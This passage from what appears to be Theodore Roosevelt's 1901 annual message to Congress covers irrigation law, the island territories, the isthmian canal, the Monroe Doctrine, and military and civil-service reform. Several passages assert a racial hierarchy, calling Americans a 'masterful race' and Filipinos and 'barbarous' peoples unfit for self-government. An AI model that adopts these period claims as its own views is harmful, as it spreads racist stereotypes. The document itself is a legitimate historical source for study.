brought prosperity to the Atlantic States. The\nincreased demand for manufactured articles will stimulate industrial\nproduction, while wider home markets and the trade of Asia will consume\nthe larger food supplies and effectually prevent Western competition\nwith Eastern agriculture. Indeed, the products of irrigation will be\nconsumed chiefly in upbuilding local centers of mining and other\nindustries, which would otherwise not come into existence at all. Our\npeople as a whole will profit, for successful home-making is but\nanother name for the upbuilding of the nation.The necessary foundation has already been laid for the inauguration of\nthe policy just described. It would be unwise to begin by doing too\nmuch, for a great deal will doubtless be learned, both as to what can\nand what cannot be safely attempted, by the early efforts, which must\nof necessity be partly experimental in character. At the very beginning\nthe Government should make clear, beyond shadow of doubt, its intention\nto pursue this policy on lines of the broadest public interest. No\nreservoir or canal should ever be built to satisfy selfish personal or\nlocal interests; but only in accordance with the advice of trained\nexperts, after long investigation has shown the locality where all the\nconditions combine to make the work most needed and fraught with the\ngreatest usefulness to the community as a whole. There should be no\nextravagance, and the believers in the need of irrigation will most\nbenefit their cause by seeing to it that it is free from the least\ntaint of excessive or reckless expenditure of the public moneys.Whatever the nation does for the extension of irrigation should\nharmonize with, and tend to improve, the condition of those now living\non irrigated land. We are not at the starting point of this\ndevelopment. Over two hundred millions of private capital has already\nbeen expended in the construction of irrigation works, and many million\nacres of arid land reclaimed. A high degree of enterprise and ability\nhas been shown in the work itself; but as much cannot be said in\nreference to the laws relating thereto. The security and value of the\nhomes created depend largely on the stability of titles to water; but\nthe majority of these rest on the uncertain foundation of court\ndecisions rendered in ordinary suits at law. With a few creditable\nexceptions, the arid States have failed to provide for the certain and\njust division of streams in times of scarcity. Lax and uncertain laws\nhave made it possible to establish rights to water in excess of actual\nuses or necessities, and many streams have already passed into private\nownership, or a control equivalent to ownership.Whoever controls a stream practically controls the land it renders\nproductive, and the doctrine of private ownership of water apart from\nland cannot prevail without causing enduring wrong. The recognition of\nsuch ownership, which has been permitted to grow up in the arid\nregions, should give way to a more enlightened and larger recognition\nof the rights of the public in the control and disposal of the public\nwater supplies. Laws founded upon conditions obtaining in humid\nregions, where water is too abundant to justify hoarding it, have no\nproper application in a dry country.In the arid States the only right to water which should be recognized\nis that of use. In irrigation this right should attach to the land\nreclaimed and be inseparable therefrom. Granting perpetual water rights\nto others than users, without compensation to the public, is open to\nall the objections which apply to giving away perpetual franchises to\nthe public utilities of cities. A few of the Western States have\nalready recognized this, and have incorporated in their constitutions\nthe doctrine of perpetual State ownership of water.The benefits which have followed the unaided development of the past\njustify the nation's aid and co-operation in the more difficult and\nimportant work yet to be accomplished. Laws so vitally affecting homes\nas those which control the water supply will only be effective when\nthey have the sanction of the irrigators; reforms can only be final and\nsatisfactory when they come through the enlightenment of the people\nmost concerned. The larger development which national aid insures\nshould, however, awaken in every arid State the determination to make\nits irrigation system equal in justice and effectiveness that of any\ncountry in the civilized world. Nothing could be more unwise than for\nisolated communities to continue to learn everything experimentally,\ninstead of profiting by what is already known elsewhere. We are dealing\nwith a new and momentous question, in the pregnant years while\ninstitutions are forming, and what we do will affect not only the\npresent but future generations.Our aim should be not simply to reclaim the largest area of land and\nprovide homes for the largest number of people, but to create for this\nnew industry the best possible social and industrial conditions; and\nthis requires that we not only understand the existing situation, but\navail ourselves of the best experience of the time in the solution of\nits problems. A careful study should be made, both by the Nation and\nthe States, of the irrigation laws and conditions here and abroad.\nUltimately it will probably be necessary for the Nation to co-operate\nwith the several arid States in proportion as these States by their\nlegislation and administration show themselves fit to receive it.In Hawaii our aim must be to develop the Territory on the traditional\nAmerican lines. We do not wish a region of large estates tilled by\ncheap labor; we wish a healthy American community of men who themselves\ntill the farms they own. All our legislation for the islands should be\nshaped with this end in view; the well-being of the average home-maker\nmust afford the true test of the healthy development of the islands.\nThe land policy should as nearly as possible be modeled on our\nhomestead system.It is a pleasure to say that it is hardly more necessary to report as\nto Puerto Rico than as to any State or Territory within our continental\nlimits. The island is thriving as never before, and it is being\nadministered efficiently and honestly. Its people are now enjoying\nliberty and order under the protection of the United States, and upon\nthis fact we congratulate them and ourselves. Their material welfare\nmust be as carefully and jealously considered as the welfare of any\nother portion of our country. We have given them the great gift of free\naccess for their products to the markets of the United States. I ask\nthe attention of the Congress to the need of legislation concerning the\npublic lands of Puerto Rico.In Cuba such progress has been made toward putting the independent\ngovernment of the island upon a firm footing that before the present\nsession of the Congress closes this will be an accomplished fact. Cuba\nwill then start as her own mistress; and to the beautiful Queen of the\nAntilles, as she unfolds this new page of her destiny, we extend our\nheartiest greetings and good wishes. Elsewhere I have discussed the\nquestion of reciprocity. In the case of Cuba, however, there are\nweighty reasons of morality and of national interest why the policy\nshould be held to have a peculiar application, and I most earnestly ask\nyour attention to the wisdom, indeed to the vital need, of providing\nfor a substantial reduction in the tariff duties on Cuban imports into\nthe United States. Cuba has in her constitution affirmed what we\ndesired: that she should stand, in international matters, in closer and\nmore friendly relations with us than with any other power; and we are\nbound by every consideration of honor and expediency to pass commercial\nmeasures in the interest of her material well-being.In the Philippines our problem is larger. They are very rich tropical\nislands, inhabited by many varying tribes, representing widely\ndifferent stages of progress toward civilization. Our earnest effort is\nto help these people upward along the stony and difficult path that\nleads to self-government. We hope to make our administration of the\nislands honorable to our Nation by making it of the highest benefit to\nthe Filipinos themselves; and as an earnest of what we intend to do, we\npoint to what we have done. Already a greater measure of material\nprosperity and of governmental honesty and efficiency has been attained\nin the Philippines than ever before in their history.It is no light task for a nation to achieve the temperamental qualities\nwithout which the institutions of free government are but an empty\nmockery. Our people are now successfully governing themselves, because\nfor more than a thousand years they have been slowly fitting\nthemselves, sometimes consciously, sometimes unconsciously, toward this\nend. What has taken us thirty generations to achieve, we cannot expect\nto have another race accomplish out of hand, especially when large\nportions of that race start very far behind the point which our\nancestors had reached even thirty generations ago. In dealing with the\nPhilippine people we must show both patience and strength, forbearance\nand steadfast resolution. Our aim is high. We do not desire to do for\nthe islanders merely what has elsewhere been done for tropic peoples by\neven the best foreign governments. We hope to do for them what has\nnever before been done for any people of the tropics--to make them fit\nfor self-government after the fashion of the really free nations.History may safely be challenged to show a single instance in which a\nmasterful race such as ours, having been forced by the exigencies of\nwar to take possession of an alien land, has behaved to its inhabitants\nwith the disinterested zeal for their progress that our people have\nshown in the Philippines. To leave the islands at this time would mean\nthat they would fall into a welter of murderous anarchy. Such desertion\nof duty on our part would be a crime against humanity. The character of\nGovernor Taft and of his associates and subordinates is a proof, if\nsuch be needed, of the sincerity of our effort to give the islanders a\nconstantly increasing measure of self-government, exactly as fast as\nthey show themselves fit to exercise it. Since the civil government was\nestablished not an appointment has been made in the islands with any\nreference to considerations of political influence, or to aught else\nSave the fitness of the man and the needs of the service.In our anxiety for the welfare and progress of the Philippines, may be\nthat here and there we have gone too rapidly in giving them local\nself-government. It is on this side that our error, if any, has been\ncommitted. No competent observer, sincerely desirous of finding out the\nfacts and influenced only by a desire for the welfare of the natives,\ncan assert that we have not gone far enough. We have gone to the very\nverge of safety in hastening the process. To have taken a single step\nfarther or faster in advance would have been folly and weakness, and\nmight well have been crime. We are extremely anxious that the natives\nshall show the power of governing themselves. We are anxious, first for\ntheir sakes, and next, because it relieves us of a great burden. There\nneed not be the slightest fear of our not continuing to give them all\nthe liberty for which they are fit.The only fear is test in our overanxiety we give them a degree of\nindependence for which they are unfit, thereby inviting reaction and\ndisaster. As fast as there is any reasonable hope that in a given\ndistrict the people can govern themselves, self-government has been\ngiven in that district. There is not a locality fitted for\nself-government which has not received it. But it may well be that in\ncertain cases it will have to be withdrawn because the inhabitants show\nthemselves unfit to exercise it; such instances have already occurred.\nIn other words, there is not the slightest chance of our failing to\nshow a sufficiently humanitarian spirit. The danger comes in the\nopposite direction.There are still troubles ahead in the islands. The insurrection has\nbecome an affair of local banditti and marauders, who deserve no higher\nregard than the brigands of portions of the Old World. Encouragement,\ndirect or indirect, to these insurrectors stands on the same footing as\nencouragement to hostile Indians in the days when we still had Indian\nwars. Exactly as our aim is to give to the Indian who remains peaceful\nthe fullest and amplest consideration, but to have it understood that\nwe will show no weakness if he goes on the warpath, so we must make it\nevident, unless we are false to our own traditions and to the demands\nof civilization and humanity, that while we will do everything in our\npower for the Filipino who is peaceful, we will take the sternest\nmeasures with the Filipino who follows the path of the insurrecto and\nthe ladrone.The heartiest praise is due to large numbers of the natives of the\nislands for their steadfast loyalty. The Macabebes have been\nconspicuous for their courage and devotion to the flag. I recommend\nthat the Secretary of War be empowered to take some systematic action\nin the way of aiding those of these men who are crippled in the service\nand the families of those who are killed.The time has come when there should be additional legislation for the\nPhilippines. Nothing better can be done for the islands than to\nintroduce industrial enterprises. Nothing would benefit them so much as\nthrowing them open to industrial development. The connection between\nidleness and mischief is proverbial, and the opportunity to do\nremunerative work is one of the surest preventatives of war. Of course\nno business man will go into the Philippines unless it is to his\ninterest to do so; and it is immensely to the interest of the islands\nthat he should go in. It is therefore necessary that the Congress\nshould pass laws by which the resources of the islands can be\ndeveloped; so that franchises (for limited terms of years) can be\ngranted to companies doing business in them, and every encouragement be\ngiven to the incoming of business men of every kind.Not to permit this is to do a wrong to the Philippines. The franchises\nmust be granted and the business permitted only under regulations which\nwill guarantee the islands against any kind of improper exploitation.\nBut the vast natural wealth of the islands must be developed, and the\ncapital willing to develop it must be given the opportunity. The field\nmust be thrown open to individual enterprise, which has been the real\nfactor in the development of every region over which our flag has\nflown. It is urgently necessary to enact suitable laws dealing with\ngeneral transportation, mining, banking, currency, homesteads, and the\nuse and ownership of the lands and timber. These laws will give free\nplay to industrial enterprise; and the commercial development which\nwill surely follow will accord to the people of the islands the best\nproofs of the sincerity of our desire to aid them.I call your attention most earnestly to the crying need of a cable to\nHawaii and the Philippines, to be continued from the Philippines to\npoints in Asia. We should not defer a day longer than necessary the\nconstruction of such a cable. It is demanded not merely for commercial\nbut for political and military considerations.Either the Congress should immediately provide for the construction of\na Government cable, or else an arrangement should be made by which like\nadvantages to those accruing from a Government cable may be secured to\nthe Government by contract with a private cable company.No single great material work which remains to be undertaken on this\ncontinent is of such consequence to the American people as the building\nof a canal across the Isthmus connecting North and South America. Its\nimportance to the Nation is by no means limited merely to its material\neffects upon our business prosperity; and yet with view to these\neffects alone it would be to the last degree important for us\nimmediately to begin it. While its beneficial effects would perhaps be\nmost marked upon the Pacific Coast and the Gulf and South Atlantic\nStates, it would also greatly benefit other sections. It is\nemphatically a work which it is for the interest of the entire country\nto begin and complete as soon as possible; it is one of those great\nworks which only a great nation can undertake with prospects of\nsuccess, and which when done are not only permanent assets in the\nnation's material interests, but standing monuments to its constructive\nability.I am glad to be able to announce to you that our negotiations on this\nsubject with Great Britain, conducted on both sides in a spirit of\nfriendliness and mutual good will and respect, have resulted in my\nbeing able to lay before the Senate a treaty which if ratified will\nenable us to begin preparations for an Isthmian canal at any time, and\nwhich guarantees to this Nation every right that it has ever asked in\nconnection with the canal. In this treaty, the old Clayton-Bulwer\ntreaty, so long recognized as inadequate to supply the base for the\nconstruction and maintenance of a necessarily American ship canal, is\nabrogated. It specifically provides that the United States alone shall\ndo the work of building and assume the responsibility of safeguarding\nthe canal and shall regulate its neutral use by all nations on terms of\nequality without the guaranty or interference of any outside nation\nfrom any quarter. The signed treaty will at once be laid before the\nSenate, and if approved the Congress can then proceed to give effect to\nthe advantages it secures us by providing for the building of the\ncanal.The true end of every great and free people should be self-respecting\npeace; and this Nation most earnestly desires sincere and cordial\nfriendship with all others. Over the entire world, of recent years,\nwars between the great civilized powers have become less and less\nfrequent. Wars with barbarous or semi-barbarous peoples come in an\nentirely different category, being merely a most regrettable but\nnecessary international police duty which must be performed for the\nsake of the welfare of mankind. Peace can only be kept with certainty\nwhere both sides wish to keep it; but more and more the civilized\npeoples are realizing the wicked folly of war and are attaining that\ncondition of just and intelligent regard for the rights of others which\nwill in the end, as we hope and believe, make world-wide peace\npossible. The peace conference at The Hague gave definite expression to\nthis hope and belief and marked a stride toward their attainment.This same peace conference acquiesced in our statement of the Monroe\nDoctrine as compatible with the purposes and aims of the conference.The Monroe Doctrine should be the cardinal feature of the foreign\npolicy of all the nations of the two Americas, as it is of the United\nStates. Just seventy-eight years have passed since President Monroe in\nhis Annual Message announced that \"The American continents are\nhenceforth not to be considered as subjects for future colonization by\nany European power.\" In other words, the Monroe Doctrine is a\ndeclaration that there must be no territorial aggrandizement by any\nnon-American power at the expense of any American power on American\nsoil. It is in no wise intended as hostile to any nation in the Old\nWorld. Still less is it intended to give cover to any aggression by one\nNew World power at the expense of any other. It is simply a step, and a\nlong step, toward assuring the universal peace of the world by securing\nthe possibility of permanent peace on this hemisphere.During the past century other influences have established the\npermanence and independence of the smaller states of Europe. Through\nthe Monroe Doctrine we hope to be able to safeguard like independence\nand secure like permanence for the lesser among the New World nations.This doctrine has nothing to do with the commercial relations of any\nAmerican power, save that it in truth allows each of them to form such\nas it desires. In other words, it is really a guaranty of the\ncommercial independence of the Americas. We do not ask under this\ndoctrine for any exclusive commercial dealings with any other American\nstate. We do not guarantee any state against punishment if it\nmisconducts itself, provided that punishment does not take the form of\nthe acquisition of territory by any non-American power.Our attitude in Cuba is a sufficient guaranty of our own good faith. We\nhave not the slightest desire to secure any territory at the expense of\nany of our neighbors. We wish to work with them hand in hand, so that\nall of us may be uplifted together, and we rejoice over the good\nfortune of any of them, we gladly hail their material prosperity and\npolitical stability, and are concerned and alarmed if any of them fall\ninto industrial or political chaos. We do not wish to see any Old World\nmilitary power grow up on this continent, or to be compelled to become\na military power ourselves. The peoples of the Americas can prosper\nbest if left to work out their own salvation in their own way.The work of upbuilding the Navy must be steadily continued. No one\npoint of our policy, foreign or domestic, is more important than this\nto the honor and material welfare, and above all to the peace, of our\nnation in the future. Whether we desire it or not, we must henceforth\nrecognize that we have international duties no less than international\nrights. Even if our flag were hauled down in the Philippines and Puerto\nRico, even if we decided not to build the Isthmian Canal, we should\nneed a thoroughly trained Navy of adequate size, or else be prepared\ndefinitely and for all time to abandon the idea that our nation is\namong those whose sons go down to the sea in ships. Unless our commerce\nis always to be carried in foreign bottoms, we must have war craft to\nprotect it.Inasmuch, however, as the American people have no thought of abandoning\nthe path upon which they have entered, and especially in view of the\nfact that the building of the Isthmian Canal is fast becoming one of\nthe matters which the whole people are united in demanding, it is\nimperative that our Navy should be put and kept in the highest state of\nefficiency, and should be made to answer to our growing needs. So far\nfrom being in any way a provocation to war, an adequate and highly\ntrained navy is the best guaranty against war, the cheapest and most\neffective peace insurance. The cost of building and maintaining such a\nnavy represents the very lightest premium for insuring peace which this\nnation can possibly pay.Probably no other great nation in the world is so anxious for peace as\nwe are. There is not a single civilized power which has anything\nwhatever to fear from aggressiveness on our part. All we want is peace;\nand toward this end we wish to be able to secure the same respect for\nour rights from others which we are eager and anxious to extend to\ntheir rights in return, to insure fair treatment to us commercially,\nand to guarantee the safety of the American people.Our people intend to abide by the Monroe Doctrine and to insist upon it\nas the one sure means of securing the peace of the Western Hemisphere.\nThe Navy offers us the only means of making our insistence upon the\nMonroe Doctrine anything but a subject of derision to whatever nation\nchooses to disregard it. We desire the peace which comes as of right to\nthe just man armed; not the peace granted on terms of ignominy to the\ncraven and the weakling.It is not possible to improvise a navy after war breaks out. The ships\nmust be built and the men trained long in advance. Some auxiliary\nvessels can be turned into makeshifts which will do in default of any\nbetter for the minor work, and a proportion of raw men can be mixed\nwith the highly trained, their shortcomings being made good by the\nskill of their fellows; but the efficient fighting force of the Navy\nwhen pitted against an equal opponent will be found almost exclusively\nin the war ships that have been regularly built and in the officers and\nmen who through years of faithful performance of sea duty have been\ntrained to handle their formidable but complex and delicate weapons\nwith the highest efficiency. In the late war with Spain the ships that\ndealt the decisive blows at Manila and Santiago had been launched from\ntwo to fourteen years, and they were able to do as they did because the\nmen in the conning towers, the gun turrets, and the engine-rooms had\nthrough long years of practice at sea learned how to do their duty.Our present Navy was begun in 1882. At that period our Navy consisted\nof a collection of antiquated wooden ships, already almost as out of\nplace against modern war vessels as the galleys of Alcibiades and\nHamilcar--certainly as the ships of Tromp and Blake. Nor at that time\ndid we have men fit to handle a modern man-of-war. Under the wise\nlegislation of the Congress and the successful administration of a\nsuccession of patriotic Secretaries of the Navy, belonging to both\npolitical parties, the work of upbuilding the Navy went on, and ships\nequal to any in the world of their kind were continually added; and\nwhat was even more important, these ships were exercised at sea singly\nand in squadrons until the men aboard them were able to get the best\npossible service out of them. The result was seen in the short war with\nSpain, which was decided with such rapidity because of the infinitely\ngreater preparedness of our Navy than of the Spanish Navy.While awarding the fullest honor to the men who actually commanded and\nmanned the ships which destroyed the Spanish sea forces in the\nPhilippines and in Cuba, we must not forget that an equal meed of\npraise belongs to those without whom neither blow could have been\nstruck. The Congressmen who voted years in advance the money to lay\ndown the ships, to build the guns, to buy the armor-plate; the\nDepartment officials and the business men and wage-workers who\nfurnished what the Congress had authorized; the Secretaries of the Navy\nwho asked for and expended the appropriations; and finally the officers\nwho, in fair weather and foul, on actual sea service, trained and\ndisciplined the crews of the ships when there was no war in sight--all\nare entitled to a full share in the glory of Manila and Santiago, and\nthe respect accorded by every true American to those who wrought such\nsignal triumph for our country. It was forethought and preparation\nwhich secured us the overwhelming triumph of 1898. If we fail to show\nforethought and preparation now, there may come a time when disaster\nwill befall us instead of triumph; and should this time come, the fault\nwill rest primarily, not upon those whom the accident of events puts in\nsupreme command at the moment, but upon those who have failed to\nprepare in advance.There should be no cessation in the work of completing our Navy. So far\ningenuity has been wholly unable to devise a substitute for the great\nwar craft whose hammering guns beat out the mastery of the high seas.\nIt is unsafe and unwise not to provide this year for several additional\nBattle ships and heavy armored cruisers, with auxiliary and lighter\ncraft in proportion; for the exact numbers and character I refer you to\nthe report of the Secretary of the Navy. But there is something we need\neven more than additional ships, and this is additional officers and\nmen. To provide battle ships and cruisers and then lay them up, with\nthe expectation of leaving them unmanned until they are needed in\nactual war, would be worse than folly; it would be a crime against the\nNation.To send any war ship against a competent enemy unless those aboard it\nhave been trained by years of actual sea service, including incessant\ngunnery practice, would be to invite not merely disaster, but the\nbitterest shame and humiliation. Four thousand additional seamen and\none thousand additional marines should be provided; and an increase in\nthe officers should be provided by making a large addition to the\nclasses at Annapolis. There is one small matter which should be\nmentioned in connection with Annapolis. The pretentious and unmeaning\ntitle of \"naval cadet\" should be abolished; the title of \"midshipman,\"\nfull of historic association, should be restored.Even in time of peace a war ship should be used until it wears out, for\nonly so can it be kept fit to respond to any emergency. The officers\nand men alike should be kept as much as possible on blue water, for it\nis there only they can learn their duties as they should be learned.\nThe big vessels should be manoeuvred in squadrons containing not merely\nbattle ships, but the necessary proportion of cruisers and scouts. The\ntorpedo boats should be handled by the younger officers in such manner\nas will best fit the latter to take responsibility and meet the\nemergencies of actual warfare.Every detail ashore which can be performed by a civilian should be so\nperformed, the officer being kept for his special duty in the sea\nservice. Above all, gunnery practice should be unceasing. It is\nimportant to have our Navy of adequate size, but it is even more\nimportant that ship for ship it should equal in efficiency any navy in\nthe world. This is possible only with highly drilled crews and\nofficers, and this in turn imperatively demands continuous and\nprogressive instruction in target practice, ship handling, squadron\ntactics, and general discipline. Our ships must be assembled in\nsquadrons actively cruising away from harbors and never long at anchor.\nThe resulting wear upon engines and hulls must be endured; a battle\nship worn out in long training of officers and men is well paid for by\nthe results, while, on the other hand, no matter in how excellent\ncondition, it is useless if the crew be not expert.We now have seventeen battle ships appropriated for, of which nine are\ncompleted and have been commissioned for actual service. The remaining\neight will be ready in from two to four years, but it will take at\nleast that time to recruit and train the men to fight them. It is of\nvast concern that we have trained crews ready for the vessels by the\ntime they are commissioned. Good ships and good guns are simply good\nweapons, and the best weapons are useless save in the hands of men who\nknow how to fight with them. The men must be trained and drilled under\na thorough and well-planned system of progressive instruction, while\nthe recruiting must be carried on with still greater vigor. Every\neffort must be made to exalt the main function of the officer--the\ncommand of men. The leading graduates of the Naval Academy should be\nassigned to the combatant branches, the line and marines.Many of the essentials of success are already recognized by the General\nBoard, which, as the central office of a growing staff, is moving\nsteadily toward a proper war efficiency and a proper efficiency of the\nwhole Navy, under the Secretary. This General Board, by fostering the\ncreation of a general staff, is providing for the official and then the\ngeneral recognition of our altered conditions as a Nation and of the\ntrue meaning of a great war fleet, which meaning is, first, the best\nmen, and, second, the best ships.Messages and Papers of the Presidents, Theodore Roosevelt, vol. 9,\np.6667The Naval Militia forces are State organizations, and are trained for\ncoast service, and in event of war they will constitute the inner line\nof defense. They should receive hearty encouragement from the General\nGovernment.But in addition we should at once provide for a National Naval Reserve,\norganized and trained under the direction of the Navy Department, and\nsubject to the call of the Chief Executive whenever war becomes\nimminent. It should be a real auxiliary to the naval seagoing peace\nestablishment, and offer material to be drawn on at once for manning\nour ships in time of war. It should be composed of graduates of the\nNaval Academy, graduates of the Naval Militia, officers and crews of\ncoast-line steamers, longshore schooners, fishing vessels, and steam\nyachts, together with the coast population about such centers as\nlifesaving stations and light-houses.The American people must either build and maintain an adequate navy or\nelse make up their minds definitely to accept a secondary position in\ninternational affairs, not merely in political, but in commercial,\nmatters. It has been well said that there is no surer way of courting\nnational disaster than to be \"opulent, aggressive, and unarmed.\"It is not necessary to increase our Army beyond its present size at\nthis time. But it is necessary to keep it at the highest point of\nefficiency. The individual units who as officers and enlisted men\ncompose this Army, are, we have good reason to believe, at least as\nefficient as those of any other army in the entire world. It is our\nduty to see that their training is of a kind to insure the highest\npossible expression of power to these units when acting in combination.The conditions of modern war are such as to make an infinitely heavier\ndemand than ever before upon the individual character and capacity of\nthe officer and the enlisted man, and to make it far more difficult for\nmen to act together with effect. At present the fighting must be done\nin extended order, which means that each man must act for himself and\nat the same time act in combination with others with whom he is no\nlonger in the old-fashioned elbow-to-elbow touch. Under such conditions\na few men of the highest excellence are worth more than many men\nwithout the special skill which is only found as the result of special\ntraining applied to men of exceptional physique and morale. But\nnowadays the most valuable fighting man and the most difficult to\nperfect is the rifleman who is also a skillful and daring rider.The proportion of our cavalry regiments has wisely been increased. The\nAmerican cavalryman, trained to manoeuvre and fight with equal facility\non foot and on horseback, is the best type of soldier for general\npurposes now to be found in the world. The ideal cavalryman of the\npresent day is a man who can fight on foot as effectively as the best\ninfantryman, and who is in addition unsurpassed in the care and\nmanagement of his horse and in his ability to fight on horseback.A general staff should be created. As for the present staff and supply\ndepartments, they should be filled by details from the line, the men so\ndetailed returning after a while to their line duties. It is very\nundesirable to have the senior grades of the Army composed of men who\nhave come to fill the positions by the mere fact of seniority. A system\nshould be adopted by which there shall be an elimination grade by grade\nof those who seem unfit to render the best service in the next grade.\nJustice to the veterans of the Civil War who are still in the Army\nwould seem to require that in the matter of retirements they be given\nby law the same privileges accorded to their comrades in the Navy.The process of elimination of the least fit should be conducted in a\nmanner that would render it practically impossible to apply political\nor social pressure on behalf of any candidate, so that each man may be\njudged purely on his own merits. Pressure for the promotion of civil\nofficials for political reasons is bad enough, but it is tenfold worse\nwhere applied on behalf of officers of the Army or Navy. Every\npromotion and every detail under the War Department must be made solely\nwith regard to the good of the service and to the capacity and merit of\nthe man himself. No pressure, political, social, or personal, of any\nkind, will be permitted to exercise the least effect in any question of\npromotion or detail; and if there is reason to believe that such\npressure is exercised at the instigation of the officer concerned, it\nwill be held to militate against him. In our Army we cannot afford to\nhave rewards or duties distributed save on the simple ground that those\nwho by their own merits are entitled to the rewards get them, and that\nthose who are peculiarly fit to do the duties are chosen to perform\nthem.Every effort should be made to bring the Army to a constantly\nincreasing state of efficiency. When on actual service no work save\nthat directly in the line of such service should be required. The paper\nwork in the Army, as in the Navy, should be greatly reduced. What is\nneeded is proved power of command and capacity to work well in the\nfield. Constant care is necessary to prevent dry rot in the\ntransportation and commissary departments.Our Army is so small and so much scattered that it is very difficult to\ngive the higher officers (as well as the lower officers and the\nenlisted men) a chance to practice manoeuvres in mass and on a\ncomparatively large scale. In time of need no amount of individual\nexcellence would avail against the paralysis which would follow\ninability to work as a coherent whole, under skillful and daring\nleadership. The Congress should provide means whereby it will be\npossible to have field exercises by at least a division of regulars,\nand if possible also a division of national guardsmen, once a year.\nThese exercises might take the form of field manoeuvres; or, if on the\nGulf Coast or the Pacific or Atlantic Seaboard, or in the region of the\nGreat Lakes, the army corps when assembled could be marched from some\ninland point to some point on the water, there embarked, disembarked\nafter a couple of days' journey at some other point, and again marched\ninland. Only by actual handling and providing for men in masses while\nthey are marching, camping, embarking, and disembarking, will it be\npossible to train the higher officers to perform their duties well and\nsmoothly.A great debt is owing from the public to the men of the Army and Navy.\nThey should be so treated as to enable them to reach the highest point\nof efficiency, so that they may be able to respond instantly to any\ndemand made upon them to sustain the interests of the Nation and the\nhonor of the flag. The individual American enlisted man is probably on\nthe whole a more formidable fighting man than the regular of any other\narmy. Every consideration should be shown him, and in return the\nhighest standard of usefulness should be exacted from him. It is well\nworth while for the Congress to consider whether the pay of enlisted\nmen upon second and subsequent enlistments should not be increased to\ncorrespond with the increased value of the veteran soldier.Much good has already come from the act reorganizing the Army, passed\nearly in the present year. The three prime reforms, all of them of\nliterally inestimable value, are, first, the substitution of four-year\ndetails from the line for permanent appointments in the so-called staff\ndivisions; second, the establishment of a corps of artillery with a\nchief at the head; third, the establishment of a maximum and minimum\nlimit for the Army. It would be difficult to overestimate the\nimprovement in the efficiency of our Army which these three reforms are\nmaking, and have in part already effected.The reorganization provided for by the act has been substantially\naccomplished. The improved conditions in the Philippines have enabled\nthe War Department materially to reduce the military charge upon our\nrevenue and to arrange the number of soldiers so as to bring this\nnumber much nearer to the minimum than to the maximum limit established\nby law. There is, however, need of supplementary legislation. Thorough\nmilitary education must be provided, and in addition to the regulars\nthe advantages of this education should be given to the officers of the\nNational Guard and others in civil life who desire intelligently to fit\nthemselves for possible military duty. The officers should be given the\nchance to perfect themselves by study in the higher branches of this\nart. At West Point the education should be of the kind most apt to turn\nout men who are good in actual field service; too much stress should\nnot be laid on mathematics, nor should proficiency therein be held to\nestablish the right of entry to a corps d'elite. The typical American\nofficer of the best kind need not be a good mathematician; but he must\nbe able to master himself, to control others, and to show boldness and\nfertility of resource in every emergency.Action should be taken in reference to the militia and to the raising\nof volunteer forces. Our militia law is obsolete and worthless. The\norganization and armament of the National Guard of the several States,\nwhich are treated as militia in the appropriations by the Congress,\nshould be made identical with those provided for the regular forces.\nThe obligations and duties of the Guard in time of war should be\ncarefully defined, and a system established by law under which the\nmethod of procedure of raising volunteer forces should be prescribed in\nadvance. It is utterly impossible in the excitement and haste of\nimpending war to do this satisfactorily if the arrangements have not\nbeen made long beforehand. Provision should be made for utilizing in\nthe first volunteer organizations called out the training of those\ncitizens who have already had experience under arms, and especially for\nthe selection in advance of the officers of any force which may be\nraised; for careful selection of the kind necessary is impossible after\nthe outbreak of war.That the Army is not at all a mere instrument of destruction has been\nshown during the last three years. In the Philippines, Cuba, and Puerto\nRico it has proved itself a great constructive force, a most potent\nimplement for the upbuilding of a peaceful civilization.No other citizens deserve so well of the Republic as the veterans, the\nsurvivors of those who saved the Union. They did the one deed which if\nleft undone would have meant that all else in our history went for\nnothing. But for their steadfast prowess in the greatest crisis of our\nhistory, all our annals would be meaningless, and our great experiment\nin popular freedom and self-government a gloomy failure. Moreover, they\nnot only left us a united Nation, but they left us also as a heritage\nthe memory of the mighty deeds by which the Nation was kept united. We\nare now indeed one Nation, one in fact as well as in name; we are\nunited in our devotion to the flag which is the symbol of national\ngreatness and unity; and the very completeness of our union enables us\nall, in every part of the country, to glory in the valor shown alike by\nthe sons of the North and the sons of the South in the times that tried\nmen's souls.The men who in the last three years have done so well in the East and\nthe West Indies and on the mainland of Asia have shown that this\nremembrance is not lost. In any serious crisis the United States must\nrely for the great mass of its fighting men upon the volunteer soldiery\nwho do not make a permanent profession of the military career; and\nwhenever such a crisis arises the deathless memories of the Civil War\nwill give to Americans the lift of lofty purpose which comes to those\nwhose fathers have stood valiantly in the forefront of the battle.The merit system of making appointments is in its essence as democratic\nand American as the common school system itself. It simply means that\nin clerical and other positions where the duties are entirely\nnon-political, all applicants should have a fair field and no favor,\neach standing on his merits as he is able to show them by practical\ntest. Written competitive examinations offer the only available means\nin many cases for applying this system. In other cases, as where\nlaborers are employed, a system of registration undoubtedly can be\nwidely extended. There are, of course, places where the written\ncompetitive examination cannot be applied, and others where it offers\nby no means an ideal solution, but where under existing political\nconditions it is, though an imperfect means, yet the best present means\nof getting satisfactory results.Wherever the conditions have permitted the application of the merit\nsystem in its fullest and widest sense, the gain to the Government has\nbeen immense. The navy-yards and postal service illustrate, probably\nbetter than any other branches of the Government, the great gain in\neconomy, efficiency, and honesty due to the enforcement of this\nprinciple.I recommend the passage of a law which will extend the classified\nservice to the District of Columbia, or will at least enable the\nPresident thus to extend it. In my judgment all laws providing for the\ntemporary employment of clerks should hereafter contain a provision\nthat they be selected under the Civil Service Law.It is important to have this system obtain at home, but it is even more\nimportant to have it applied rigidly in our insular possessions. Not an\noffice should be filled in the Philippines or Puerto Rico with any\nregard to the man's partisan affiliations or services, with any regard\nto the political, social, or personal influence which he may have at\nhis command; in short, heed should be paid to absolutely nothing save\nthe man's own character and capacity and the needs of the service.The administration of these islands should be as wholly free from the\nsuspicion of partisan politics as the administration of the Army and\nNavy. All that we ask from the public servant in the Philippines or\nPuerto Rico is that he reflect honor on his country by the way in which\nhe makes that country's rule a benefit to the peoples who have come\nunder it. This is all that we should ask, and we cannot afford to be\ncontent with less.The merit system is simply one method of securing honest and efficient\nadministration of the Government; and in the long run the sole\njustification of any type of government lies in its proving itself both\nhonest and efficient.The consular service is now organized under the provisions of a law\npassed in 1856, which is entirely inadequate to existing conditions.\nThe interest shown by so many commercial bodies throughout the country\nin the reorganization of the service is heartily commended to your\nattention. Several bills providing for a new consular service have in\nrecent years been submitted to the Congress. They are based upon the\njust principle that appointments to the service should be made only\nafter a practical test of the applicant's fitness, that promotions\nshould be governed by trustworthiness, adaptability, and zeal in the\nperformance of duty, and that the tenure of office should be unaffected\nby partisan considerations.The guardianship and fostering of our 